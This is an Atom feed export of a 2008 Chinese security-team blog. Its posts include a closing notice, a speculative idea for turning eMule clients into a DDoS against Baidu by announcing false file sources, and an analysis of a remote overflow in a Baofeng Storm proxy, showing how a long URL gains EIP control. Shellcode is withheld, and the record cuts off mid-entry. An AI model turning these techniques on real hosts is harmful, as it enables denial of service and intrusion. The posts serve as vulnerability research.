<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7020987005106415877</id><updated>2011-12-11T23:09:30.548-08:00</updated><category term='[Tips]'/><category term='[Paper]'/><category term='[PSTZine 0x02]'/><category term='[News]'/><category term='[Exploit]'/><category term='[PSTZine]'/><category term='[PSTZine 0x01]'/><category term='[Advisory]'/><title type='text'>Ph4nt0m Security Team</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default?start-index=101&amp;max-results=100'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>143</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-7071718462652758136</id><published>2008-08-07T19:41:00.000-07:00</published><updated>2008-08-07T20:36:43.440-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[News]'/><title type='text'>[News]This blog is dead</title><content type='html'>by axis&lt;br /&gt;2008-08-08&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;Dear all, axis here.&lt;br /&gt;&lt;br /&gt;I'm very sorry to announce that this blog is finally dead today.&lt;br /&gt;&lt;br /&gt;Because the &lt;span style="font-weight: bold;"&gt;Great Fire Wall&lt;/span&gt;(which is a project held by the Chinese gov) have  banned most of the Chinese people to visit blogspot, and the number of  our blog's visitors  is  decreasing.&lt;br /&gt;&lt;br /&gt;Another reason is that the members of Ph4nt0m do not have &lt;span style="font-weight: bold;"&gt;enough time&lt;/span&gt; to update tips and papers. We all have much work to do. In China, it is hard to have an ease life until you have earned a lot of money. So we won't have enough spare time to do those things we like before we found some place to live.&lt;br /&gt;&lt;br /&gt;The blog is dead, but &lt;span style="font-weight: bold;"&gt;Ph4nt0m&lt;/span&gt; is not, and is never going to. I finally deside to close this blog  temporarily and hope to re-open it in the future. But this does not mean we won't write blogs any more. We stop to wrtie team's blog, but the members of us may write their own blogs.&lt;br /&gt;&lt;br /&gt;Some of our friends like str0ke may get our recent news and sometimes the newest exploits and vulnerability advisories from our &lt;span style="font-weight: bold;"&gt;Planet&lt;/span&gt;(&lt;a href="http://planet.ph4nt0m.org/"&gt;http://planet.ph4nt0m.org&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://planet.ph4nt0m.org/"&gt;Planet&lt;/a&gt; is one of Ph4nt0m's projects and it has collected lots of the most famous expects in Chinese Security Fields who write blogs. Of course it contains our members' blog.If you feel it is too slow to visit the &lt;a href="http://planet.ph4nt0m.org/"&gt;Planet&lt;/a&gt;, you may use the &lt;span style="font-weight: bold;"&gt;google reader&lt;/span&gt; to track our &lt;a href="http://rss.icylife.net/pst_rss/rss.xml"&gt;feeds&lt;/a&gt;. You also can find our team members' blog from the "friend links" of this blog.&lt;br /&gt;&lt;br /&gt;In a word, we always want to keep contacts with you, our friends, not here, but in the &lt;a href="http://planet.ph4nt0m.org/"&gt;&lt;span style="font-weight: bold;"&gt;Planet&lt;/span&gt;&lt;/a&gt;!&lt;br /&gt;&lt;br /&gt;And we will keep our security research continued , both for our spirits and better life. So, don't worry, Ph4nt0m is a team which has &lt;span style="font-weight: bold;"&gt;7 years&lt;/span&gt; old and and &lt;span style="font-weight: bold;"&gt;won't die if I am here&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;中文就不费神写了，一句话，以后看blog去planet吧，这里由于GFW的原因暂时没精力更新了！&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-7071718462652758136?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/7071718462652758136/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=7071718462652758136' title='47 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/7071718462652758136'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/7071718462652758136'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/08/newsthis-blog-is-dead.html' title='[News]This blog is dead'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>47</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-501434664096068679</id><published>2008-07-22T18:45:00.000-07:00</published><updated>2008-07-22T18:52:33.200-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]通过emule做DDOS是否可行？</title><content type='html'>&lt;p&gt;by 云舒&lt;/p&gt;&lt;p&gt;2008-07-23&lt;/p&gt;&lt;p&gt;http://www.ph4nt0m.org&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;       今天抽空看了下emule协议几个可能会出问题的地方，初步感觉是可能真的有问题。下了代码回来看了，不过代码太大，目前还没找到地方，没法对想法进行印证。我简单的说下，看哪位代码牛人能够在项目中找到对应的代码。&lt;/p&gt; &lt;p&gt;        首先是在客户端连接到服务器之后，搜索文件时，服务器返回结果的报文。报文中返回的结果是一个集合，每个集合表示一条记录。但是每条记录中，并不包含拥有 该文件的客户端的IP地址，而是返回的拥有该文件的客户端的ClientID和端口。这里我猜测ClientID的计算是可逆的，搜索发起者可以根据这个 ClientID计算出IP地址，然后连接，请求下载文件。具体报文结构如下：&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;table align="left" border="1" cellpadding="1" cellspacing="1" width="80%"&gt;     &lt;tbody&gt;         &lt;tr&gt;             &lt;td&gt; 名称&lt;/td&gt;             &lt;td&gt; 大小（字节）&lt;/td&gt;             &lt;td&gt; 默认值&lt;/td&gt;             &lt;td&gt; 注释&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 协议类型&lt;/td&gt;             &lt;td&gt; 1&lt;/td&gt;             &lt;td&gt; 0xE3&lt;/td&gt;             &lt;td&gt;&lt;br /&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 大小&lt;/td&gt;             &lt;td&gt; 4&lt;/td&gt;             &lt;td&gt;&lt;br /&gt;&lt;/td&gt;             &lt;td&gt; 不包含报文和大小域的报文大小&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 类型&lt;/td&gt;             &lt;td&gt; 1&lt;/td&gt;             &lt;td&gt; 0x16&lt;/td&gt;             &lt;td&gt; 操作码 OP SEARCHRESULT 的值&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 结果数&lt;/td&gt;             &lt;td&gt; 4&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; 此报文中包含的结果数目&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 结果列表&lt;/td&gt;             &lt;td&gt; 可变&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; 一个结果的列表&lt;/td&gt;         &lt;/tr&gt;     &lt;/tbody&gt; &lt;/table&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;搜索结果列表项格式：&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;table align="left" border="1" cellpadding="1" cellspacing="1" width="80%"&gt;     &lt;tbody&gt;         &lt;tr&gt;             &lt;td&gt;名称&lt;/td&gt;             &lt;td&gt;大小（字节）&lt;/td&gt;             &lt;td&gt;默认值&lt;/td&gt;             &lt;td&gt;注释&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 文件HASH&lt;/td&gt;             &lt;td&gt; 16&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; 用于识别文件的 Hash 值&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 客户端 ID&lt;/td&gt;             &lt;td&gt; 4&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; eMule服务器分配给客户端的ID&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 客户端端口&lt;/td&gt;             &lt;td&gt; 2&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; 客户端的监听的TCP端口&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 标志数&lt;/td&gt;             &lt;td&gt; 4&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; 其后的属性标志个数&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 标志列表&lt;/td&gt;             &lt;td&gt; 可变&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; 标志列表&lt;/td&gt;         &lt;/tr&gt;     &lt;/tbody&gt; &lt;/table&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;        其次的第二个地方是下载文件的地方，客户端要求下载一个文件时，服务器会返回一个源查找结果报文。该报文也是只包含源的ClientID和端口，客户端应该是按照ClientID计算出IP地址，再去连接下载文件的。具体报文如下：&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;table align="left" border="1" cellpadding="1" cellspacing="1" width="80%"&gt;     &lt;tbody&gt;         &lt;tr&gt;             &lt;td&gt; 名称&lt;/td&gt;             &lt;td&gt; 大小（字节）&lt;/td&gt;             &lt;td&gt; 默认值&lt;/td&gt;             &lt;td&gt; 注释&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 协议类型&lt;/td&gt;             &lt;td&gt; 1&lt;/td&gt;             &lt;td&gt; 0xE3&lt;/td&gt;             &lt;td&gt;&lt;br /&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 大小&lt;/td&gt;             &lt;td&gt; 4&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; 不包含报文头和大小域的报文大小&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 类型&lt;/td&gt;             &lt;td&gt; 1&lt;/td&gt;             &lt;td&gt; 0x42&lt;/td&gt;             &lt;td&gt; 操作码 OP FOUNDSOURCES 的值&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 文件HASH&lt;/td&gt;             &lt;td&gt; 16&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; 相关文件的 Hash 值&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 源数量&lt;/td&gt;             &lt;td&gt; 1&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; 拥有该文件的机器的数量&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 源列表&lt;/td&gt;             &lt;td&gt; 可变&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; 源列表内容，每一条是一个可用源&lt;/td&gt;         &lt;/tr&gt;     &lt;/tbody&gt; &lt;/table&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;每一条源的报文格式如下：&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;table align="left" border="1" cellpadding="1" cellspacing="1" width="80%"&gt;     &lt;tbody&gt;         &lt;tr&gt;             &lt;td&gt;名称&lt;/td&gt;             &lt;td&gt;大小（字节）&lt;/td&gt;             &lt;td&gt;默认值&lt;/td&gt;             &lt;td&gt;注释&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;客户端 ID&lt;/td&gt;             &lt;td&gt;4&lt;/td&gt;             &lt;td&gt;N/A&lt;/td&gt;             &lt;td&gt; 共享该文件的客户端的 ID&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;客户端端口&lt;/td&gt;             &lt;td&gt;2&lt;/td&gt;             &lt;td&gt;N/A&lt;/td&gt;             &lt;td&gt; 共享该文件的客户端端口&lt;/td&gt;         &lt;/tr&gt;     &lt;/tbody&gt; &lt;/table&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;        可以看到，搜索某个文件时，服务器返回的搜索列表中按照ClientID来区分不同的其它客户端。在开始下载一个文件时，服务器返 回的可用源列表中，每个源也是以一个ClientID来表示的。也就是说，没一个ClientID就可以确定一个源，区分开彼此。而emule可以根据这 个ClientID找到对应的客户端，去连接指定端口，请求文件。那么，现在的问题是这个ClientID是哪里来的？&lt;/p&gt; &lt;p&gt;        原来这个ClientID在正常情况下，是我们连接到emule服务器时，服务器分配给我们的。但是注意到，在连接之后，我们可以像服务器提供我们所拥有的文件列表，报文格式如下：&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;table align="left" border="1" cellpadding="1" cellspacing="1" width="80%"&gt;     &lt;tbody&gt;         &lt;tr&gt;             &lt;td&gt; 名称&lt;/td&gt;             &lt;td&gt; 大小（字节）&lt;/td&gt;             &lt;td&gt; 默认值&lt;/td&gt;             &lt;td&gt; 注释&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 协议类型&lt;/td&gt;             &lt;td&gt; 1&lt;/td&gt;             &lt;td&gt; 0xE3&lt;/td&gt;             &lt;td&gt;&lt;br /&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 大小&lt;/td&gt;             &lt;td&gt; 4&lt;/td&gt;             &lt;td&gt;&lt;br /&gt;&lt;/td&gt;             &lt;td&gt; 不包含报文和大小域的报文大小&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 类型&lt;/td&gt;             &lt;td&gt; 1&lt;/td&gt;             &lt;td&gt; 0x15&lt;/td&gt;             &lt;td&gt; 操作码 OP SEARCHRESULT 的值&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; 文件数&lt;/td&gt;             &lt;td&gt; 4&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; 共享列表中的文件数，这个数不超过 200&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;文件列表&lt;/td&gt;             &lt;td&gt; 可变&lt;/td&gt;             &lt;td&gt; N/A&lt;/td&gt;             &lt;td&gt; 可选的文件列表,单个项的描述见下&lt;/td&gt;         &lt;/tr&gt;     &lt;/tbody&gt; &lt;/table&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;        单个文件条目描述我就不细写了，比较有用的字段是文件Hash码，ClientID，以及端口。这样看来，我们在连接到服务器之 后，告诉它baidu的IP地址，TCP80端口，有赤壁下载，或者有XXX片下载，别人下载的时候，emule客户端会不会从服务器返回的可用源列表 中，找到这条记录，并且去连接？&lt;/p&gt; &lt;p&gt;        关键问题到了ClientID的计算，协议中这样描述的：假设 IP 地址为 X.Y.Z.W,则客户端 ID 按公式 X+28*Y+216*Z+24*W (Big Endian[6])计算。如果想法是正确的，那么我们可以先计算出百度的IP地址的ClientID，端口设置为80，然后通知服务器，这个 ClientID有高树的片子可以看……&lt;/p&gt; &lt;p&gt;        是不是可行？我不知道，等我找到对应的代码，可能要到过年了。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-501434664096068679?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/501434664096068679/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=501434664096068679' title='3 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/501434664096068679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/501434664096068679'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/07/tipsemuleddos.html' title='[Tips]通过emule做DDOS是否可行？'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-3421611489799976287</id><published>2008-07-20T02:53:00.000-07:00</published><updated>2008-07-20T02:56:42.128-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]暴风影音2008Beta1 最新远程溢出 0day 分析</title><content type='html'>by dummy&lt;br /&gt;http://2008-07-20&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;已近将此漏洞报给暴风.&lt;br /&gt;&lt;br /&gt;声明：纯技术研究，禁止将本文相关代码非法用途！后果自负！&lt;br /&gt;&lt;br /&gt;下载地址: http://dl.baofeng.com/storm3/storm2008-beta1.exe&lt;br /&gt;&lt;br /&gt;一、漏洞分析&lt;br /&gt;&lt;br /&gt;今天下午帮同事查找一个软件和新版本暴风兼容性的问题，发现其新增了新的模块，回来就试了一下，运气真好被我到一个远程溢出。&lt;br /&gt;&lt;br /&gt;问题模块是暴风的视频加速程序，暴风的视频加速功能是通过设置浏览器代理实现的，这个代理服务器（HttpServer.dll）会在本机开 8089 端口监听处理请求，因为此端口绑定的地址不是localhost, 从而导致此溢出可以被远程利用。&lt;br /&gt;&lt;br /&gt;使用 od 打开暴风安装目录下的 box/Stline.exe，这个程序记视频加速模块的主程序文件，按下 F9 让 Stline.exe 跑起来，然后打开 IE 在地址栏中输入 http://baidu.com/111...11.flv (长度必须大于1000) 回车。Od 在 stormtra.dll因为异常暂停下来，如下图:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://hiphotos.baidu.com/dummy24/pic/item/f9f9c4906001d89ba877a476.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px;" src="http://hiphotos.baidu.com/dummy24/pic/item/f9f9c4906001d89ba877a476.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ebx = 堆栈的栈顶，dx 是我们输入的 1, 把堆栈窗口拉到最高处，看到堆栈中填满了我们的输入的 URL 拷贝。使用 ida 打开这个 stormtra.dll 进行上下文分析，如下图：&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://hiphotos.baidu.com/dummy24/pic/item/8f049017198012174b90a776.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px;" src="http://hiphotos.baidu.com/dummy24/pic/item/8f049017198012174b90a776.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;发生异常的函数是在 unknown_libname_98 里，而 unknown_libname_98是 _vscan_fn 的回调，通过sub_1003AE2C 参数判断这个是正则表达式 search 函数，溢出正是在这个函数里面发生，具体为什么这个 search 过程发生溢出暂时可以不用管。&lt;br /&gt;&lt;br /&gt;然后在 od 中 shift+f8 忽略异常，接着od 再次断下，如下图，这时eip = 0x00310031, 这是因为溢出后，操作系统从堆栈取异常处理函数，但是堆栈中被填满了我们的输入。&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://hiphotos.baidu.com/dummy24/pic/item/6d0d6efeb32617275d600876.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px;" src="http://hiphotos.baidu.com/dummy24/pic/item/6d0d6efeb32617275d600876.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;到这里已近可以看到我们的输入成功控制了 eip，那我们离成功也更进了一步了。&lt;br /&gt;&lt;br /&gt;二、编写 shellcode&lt;br /&gt;&lt;br /&gt;在 od 中注意我们的输入显示的 unicode 串，以前没有搞过此类的溢出，只知道比 ascii 麻烦很多，请教了123 大牛，他给我了一个同类溢出程序的 webdav (参考四)，试着改了一下，但是不打算继续放相关代码了，有兴趣自己调吧:)。&lt;br /&gt;&lt;br /&gt;四、参考资料&lt;br /&gt;&lt;br /&gt;Webdav 远程溢出漏洞分析http://www.xfocus.net/articles/200303/500.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-3421611489799976287?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/3421611489799976287/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=3421611489799976287' title='3 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/3421611489799976287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/3421611489799976287'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/07/tips2008beta1-0day.html' title='[Tips]暴风影音2008Beta1 最新远程溢出 0day 分析'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-1914276504448894412</id><published>2008-07-17T05:31:00.000-07:00</published><updated>2008-07-17T05:38:18.953-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]The Week of Baidu Bugs</title><content type='html'>by axis&lt;br /&gt;2008-07-17&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;在过去的一个星期里，我一直在我的blog上开展一个&lt;span style="font-weight:bold;"&gt;The Week of Baidu Bugs&lt;/span&gt;的活动。&lt;br /&gt;&lt;br /&gt;Baidu是中国最大的搜索引擎网站：&lt;a href="http://www.baidu.com"&gt;http://www.baidu.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;现在活动已经结束了。&lt;br /&gt;&lt;br /&gt;advisory如下：&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hi.baidu.com/aullik5/blog/item/1399f502b3cf5d723912bb37.html"&gt;The Week of Baidu Bugs - Day 01: 任意URL跳转漏洞&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hi.baidu.com/aullik5/blog/item/5b0178f5d0eb9adcf2d3852f.html"&gt;The Week of Baidu Bugs - Day 02: 多处CSRF漏洞&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hi.baidu.com/aullik5/blog/item/e031985175a02c6785352416.html"&gt;The Week of Baidu Bugs - Day 03: 百度空间XSIO漏洞&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hi.baidu.com/aullik5/blog/item/646456fa5b34b8136d22eb84.html"&gt;The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞(上)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hi.baidu.com/aullik5/blog/item/be1893ee482a5ceace1b3e98.html"&gt;The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞(下)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hi.baidu.com/aullik5/blog/item/8d3684952508831bd21b70be.html"&gt;The Week of Baidu Bugs - Day 05: 百度空间多处XSS漏洞&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hi.baidu.com/aullik5/blog/item/29c638c6f1bff9dad10060f6.html"&gt;The Week of Baidu Bugs - Day 06: 百度竞价排名多处XSS漏洞&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hi.baidu.com/aullik5/blog/item/90e316cf3599d13fb600c83e.html"&gt;The Week of Baidu Bugs - Day 07: 最后的献礼&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hi.baidu.com/aullik5/blog/item/9418718a3679bd14c8fc7a1d.html"&gt;The Week of Baidu Bugs - Day 07: 终章，谢幕&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;全部都是WEB漏洞，有兴趣的朋友可以看看。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-1914276504448894412?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/1914276504448894412/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=1914276504448894412' title='10 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/1914276504448894412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/1914276504448894412'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/07/tipsthe-week-of-baidu-bugs.html' title='[Tips]The Week of Baidu Bugs'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 